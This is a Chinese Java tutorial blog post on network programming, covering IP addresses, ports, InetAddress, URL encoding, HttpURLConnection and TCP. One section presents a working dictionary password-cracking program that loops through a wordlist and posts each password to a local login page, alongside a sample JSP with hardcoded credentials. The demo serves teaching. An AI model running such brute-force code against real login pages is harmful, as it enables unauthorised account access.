`

Java学习系列(十六)Java面向对象之基于TCP协议的网络通信

 
阅读更多

TCP/IP的网络分层模型:应用层(HTTP/FTP/SMTP/POPS...),传输层(TCP协议),网络层(IP协议,负责为网络上节点分配唯一标识),物理层+数据链路层)。

IP地址用于标识网络中的一个通信实体,通常这个实体可以是一台主机,也可以是一台打印机,或者是路由器的某一个端口。而基于IP协议网络中传输的数据包,都必须使用IP地址来进行标识。

IP地址与端口:IP地址就是为网络上的每个物理节点(广义的)分配一个“门牌号”。通过IP地址,可以保证网络上的数据包能正确地找到每个物理节点,但每个物理节点上可能有多个应用程序在同时对外提供服务。端口:每个应用程序在网络上通信时,占用一个端口,相当于“房间号”,端口保证了物理节点的数据包能正确找到对应的应用程序。

端口的约定:(0~65535个端口)
0~1023: 公用端口。80(HTTP)、21(FTP)、110(POP)...
1023~49152:应用程序端口。MySQL:3306;Oracle:1521
49152~65535:动态分配端口。

先了解几个常用的类:
InetAddress:此类表示互联网协议 (IP) 地址。它有两个子类:Inet4Address, Inet6Address。
InetSocketAddress:它代表了IP地址+端口号

public class Test {
	public static void main(String[] args) {
		try {
			// InetAddress代表了IP地址
			InetAddress address = InetAddress.getByAddress(new byte[] {
					(byte) 192, (byte) 168, 0, 8 });
			// 打印主机名
			System.out.println(address.getHostName());
			// 打印主机地址
			System.out.println(address.getHostAddress());
			// 测试是否可以达到该地址,有点类似于Ping
			System.out.println(address.isReachable(3000));
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

两个工具类:URLEncoder、URLDecoder。在有些场景,无法传输和存储“非西欧文字”,此时就需要用到URLEncoder。典型的像Cookie,Cookie的值就不能是中文。
举例说明1:

 

 

public class URLEncoderDeCoderUtil {
	public static void main(String[] args) {
		String str = "Java学习系列(十六)Java面向对象之基于TCP协议的网络通信";
		try {
			// 对字符进行编码
			str = URLEncoder.encode(str, "GBK");
			System.out.println(str);
			// 对字符进行解码
			System.out.println(URLDecoder.decode(str, "GBK"));
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		}
	}
}

 

URL:代表一个网络地址。
URLConnection:代表与网络地址的连接。
HttpURLConnection:基于HTTP协议的网络连接。

举例说明2:

 

public class Test {
	public static void main(String[] args) {
		try {
			URL url = new URL("http://localhost:8080/test/index.jsp");
			System.out.println("协议:" + url.getProtocol());
			System.out.println("主机:" + url.getHost());
			System.out.println("端口:" + url.getPort());
			System.out.println("资源文件:" + url.getFile());
			// 建立于远程URL地址之间的连接,
			// 当我们的协议用的是http时,打开的连接实际上就是HttpURLConnection
			HttpURLConnection conn = (HttpURLConnection) url.openConnection();
			conn.connect();// 建立于远程服务器的连接
			BufferedReader br = new BufferedReader(new InputStreamReader(
					conn.getInputStream()));
			String line = null;
			// 读取页面资源
			while ((line = br.readLine()) != null) {
				System.out.println(line);
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
}

破解密码简单演示:

1)准备密码字典:password.txt (文件每行随便写上几个密码就行)
2)登录页面片段:

 

</pre><pre code_snippet_id="81273" snippet_file_name="blog_20131125_4_7753967" name="code" class="html"><form action="loginPro.jsp" method="post">
			用户名:
			<input name="username" type="text" />
			密码:
			<input name="passwd" type="password" />
			<br />
			<input type="submit" value="登录" />
			<input type="reset" value="取消" />
			<br />
		</form>

3)登录处理页面片段:

 

 

<%
			String username = request.getParameter("username");
			String passwd = request.getParameter("passwd");
			if (username.equals("liu") && passwd.equals("123")) {
				out.print("登录成功!");
			} else {
				out.print("登录失败!");
			}
		%>


4).程序实现代码:

 

【注意】连接要设置相应属性。可以打开Google浏览器进入处理页面后,按CTRL+SHIFT+j,将看到:

j

 

public class Test {
	public static void main(String[] args) {
		try {
			URL url = new URL("http://localhost:8888/test/loginPro.jsp");
			BufferedReader br = new BufferedReader(new InputStreamReader(
					new FileInputStream("f:/password.txt")));
			String passwd = null;
			while ((passwd = br.readLine()) != null) {
				// 每次读取一行(字典文件),创建一次连接
				HttpURLConnection conn = (HttpURLConnection) url
						.openConnection();
				conn
						.setRequestProperty("Accept",
								"application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
				conn.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");
				conn.setRequestProperty("Connection", "keep-alive");
				conn.setDoInput(true);
				conn.setDoOutput(true);
				// 打开远程输出流,准备向服务器发送请求参数
				PrintStream ps = new PrintStream(conn.getOutputStream());
				ps.print("username=liu&passwd=" + passwd);
				ps.flush();
				// 从远程服务器读取响应
				BufferedReader br2 = new BufferedReader(new InputStreamReader(
						conn.getInputStream()));
				String line = null;
				while ((line = br2.readLine()) != null) {
					if (line.contains("登录成功")) {
						System.out.println("正确的密码为:" + passwd);
					}
				}
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
}

TCP协议:它是一种可靠的端对端的协议。这是因为它为两台计算机之间的连接起了重要的作用:当一台计算机需要与另一台计算机连接时,TCP协议会让它们建立一个连接 用于发送和接收数据的虚拟链路。TCP协议保证了数据包在传送中准备无误。

 

TCP协议使用重发机制:当一个通信实体发送一个消息给另一个通信实体后,需要收到另一个通信实体确认信息,如果没有收到另一个通信实体的确认信息,则会再次重发刚才发送的信息。通过这个重发机制,TCP协议向应用程序提供可靠的通信连接,使它能够自动适应网上的各种变化,即使在Internet暂时出现阻塞的情况下,TCP也能够保证通信的可靠。


分享到:
评论

相关推荐

    JAVA实现基于Tcp协议的简单Socket通信实例

    在Java中,TCP(传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。Socket是Java中实现网络通信的基本接口,它允许两台计算机通过TCP/IP进行通信。这篇文章将介绍如何使用Java创建一个简单的TCP...

    java写的一个简单基于tcp协议的多用户聊天系统

    在TCP协议的基础上,聊天系统利用了Java的套接字(Socket)API来构建网络通信的基础。`Socket`对象代表了网络上的一个连接,包含了一个IP地址和一个端口号,用于在客户端和服务器之间建立通信管道。通过`Socket`的...

    java网络通信TCP

    学习这个项目,你可以了解如何在Java中结合TCP协议实现网络通信,理解Socket编程的基本原理,以及如何设计简单的UI来增强用户体验。此外,还可以掌握如何处理并发连接,因为ServerSocket是可以同时接受多个客户端...

    基于TCP协议的聊天室JAVA版

    在计算机网络通信领域,TCP(Transmission Control Protocol)协议是一种面向连接的、可靠的、基于字节流的传输层通信协议。它为两台主机提供了一个端到端的通信服务,确保数据的有序、无损传输。本项目“基于TCP...

    基于TCP协议实现双方通信

    在IT行业中,网络通信是计算机科学的一个重要领域,TCP(Transmission Control Protocol)协议作为传输层的核心协议之一,被广泛应用于互联网中的数据交换。本篇将深入探讨如何使用C#编程语言来实现基于TCP协议的...

    基于TCP的网络编程通信 java

    总的来说,这个实验旨在通过Java实现基于TCP的网络通信,涵盖了网络编程的基本原理和实践技巧,包括服务器的搭建、客户端的连接、数据的发送与接收,以及可能的并发处理和事件驱动模型。通过这个实验,学习者能够...

    java 基于 tcp 通信

    Java基于TCP通信是网络编程中的一个关键部分,TCP(传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。在Java中,我们通常使用`java.net.Socket`和`java.net.ServerSocket`类来实现TCP通信。...

    java基于TCP的简单聊天室

    Java基于TCP的简单聊天室是一种使用Java编程语言构建的基础网络通信应用,主要利用TCP(传输控制协议)来实现客户端和服务器之间的实时交互。TCP是一种面向连接的、可靠的、基于字节流的传输层通信协议,它确保了...

    java 基于TCP协议的聊天系统

    Java基于TCP协议的聊天系统是一种实现网络通信的应用,它允许用户通过互联网进行实时文本交流。TCP(Transmission Control Protocol)是一种面向连接的、可靠的传输层协议,确保数据在发送方和接收方之间正确无误地...

    Java实现基于TCP协议的Socket通信

    Java作为一种流行的编程语言,提供了强大的网络通信支持,其中最基础的是基于TCP协议的Socket通信。本篇文章将详细探讨如何使用Java实现基于TCP协议的Socket通信,包括服务器端与客户端的连接以及客户端之间的连接。...

    java ModbusTCP通讯

    Java ModbusTCP通信是工业自动化领域中常见的通信协议,它基于TCP/IP网络协议,用于设备间的通信。在Java中实现ModbusTCP通信,主要是通过创建Socket连接,与Modbus服务器进行数据交换。以下是对这个主题的详细解释...

    java TCP协议客户机

    在IT行业中,TCP(传输控制协议)是一种广泛用于网络通信的协议,它是互联网协议栈(TCP/IP协议族)的一部分。TCP提供了一种面向连接、可靠的、基于字节流的通信服务,确保数据能够准确无误地从一个端点传送到另一个...

    面向对象的网络协议面向对象的网络协议

    面向对象的网络协议是一种设计和实现网络通信的高级方法,它将传统的网络协议设计思想与面向对象编程的理念相结合。在传统的网络协议设计中,通常采用过程化的方式,将协议视为一系列独立的功能模块,通过函数调用来...

    tcp.rar_java Tcp _tcp cilent_tcp server java_tcpcilent_基于TCP协议

    在IT行业中,网络通信是至关重要的一个领域,TCP(传输控制协议)作为互联网协议栈中的核心部分,扮演着数据可靠传输的重要角色。本资源“tcp.rar”提供了关于Java实现TCP客户端(Cilent)和服务器(Server)的示例...

    最浓缩的基于TCP协议的网络通信详解

    ### 基于TCP协议的网络通信详解 #### 一、TCP协议简介 TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP的主要功能包括但不限于: - **可靠传输**...

    Java网络编程之TCP协议下—上传文件到服务器程序

    在Java网络编程中,TCP(Transmission Control Protocol)协议是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP提供了一种可靠的数据传输服务,确保数据的正确顺序和完整性,非常适合文件传输。本教程将...

    基于TCP的Java网络通信研究.pdf

    基于 TCP 的 Java 网络通信研究 本文主要介绍了基于 TCP 的 Java 网络通信的研究,涵盖了 Socket 的通信机制、编程步骤和方法,实现了一个双向的通信连接,用于聊天系统的开发。通过 Java 语言将 TCP/IP 协议封装到...

    基于UDP和TCP协议的Socket(网络编程/套接字)案例

    在Java中,Socket提供了一种标准的方式来实现基于TCP(传输控制协议)和UDP(用户数据报协议)的网络通信。这两种协议在互联网通信中扮演着核心角色。 TCP是一种面向连接的、可靠的、基于字节流的传输层通信协议。...

    2022年基于TCP协议的网络通信.pptx

    基于TCP协议的网络通信详解 TCP/IP协议是计算机网络中一种常用的通信协议,它允许不同的计算机之间进行通信。TCP协议是TCP/IP协议簇中的一部分,是一种可靠的面向连接的传输层协议。它提供了可靠的、顺序的、无差错...

    java基于TCP的聊天室

    Java基于TCP的聊天室是一个利用Java编程语言实现的网络通信应用,主要利用了TCP(传输控制协议)来保证数据的可靠传输。在这个项目中,包含了服务器端程序和客户端程序两个核心部分,允许用户通过网络进行实时的文字...

Global site tag (gtag.js) - Google Analytics